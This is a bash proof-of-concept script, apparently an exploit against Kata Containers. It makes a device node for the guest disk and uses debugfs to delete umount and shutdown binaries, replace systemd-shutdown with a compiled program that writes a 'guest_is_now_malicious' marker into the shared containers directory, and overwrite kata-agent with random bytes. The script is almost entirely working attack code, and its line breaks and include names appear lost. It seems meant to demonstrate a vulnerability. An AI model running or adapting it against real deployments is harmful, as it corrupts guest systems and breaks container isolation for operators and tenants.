#!/bin/bash set -x . util.sh head -c $((0xc4001)) < /dev/urandom > garbage chmod +x garbage cat > proof.c << EOF #include #include #include #include int main() { const char *filepath = "/run/kata-containers/shared/containers/guest_is_now_malicious"; int fd; fd = open(filepath, O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); close(fd); return 0; } EOF gcc -static -o proof proof.c chmod +x proof lsblk mknod /dev/guest_hd b $(get_block_address) debugfs -w /dev/guest_hd -R "rm /usr/bin/systemd-umount" debugfs -w /dev/guest_hd -R "rm /usr/bin/umount" debugfs -w /dev/guest_hd -R "rm /usr/lib/systemd/systemd-shutdown" debugfs -w /dev/guest_hd -R "write proof /usr/lib/systemd/systemd-shutdown" debugfs -w /dev/guest_hd -R "rm /usr/bin/kata-agent" debugfs -w /dev/guest_hd -R "write garbage /usr/bin/kata-agent"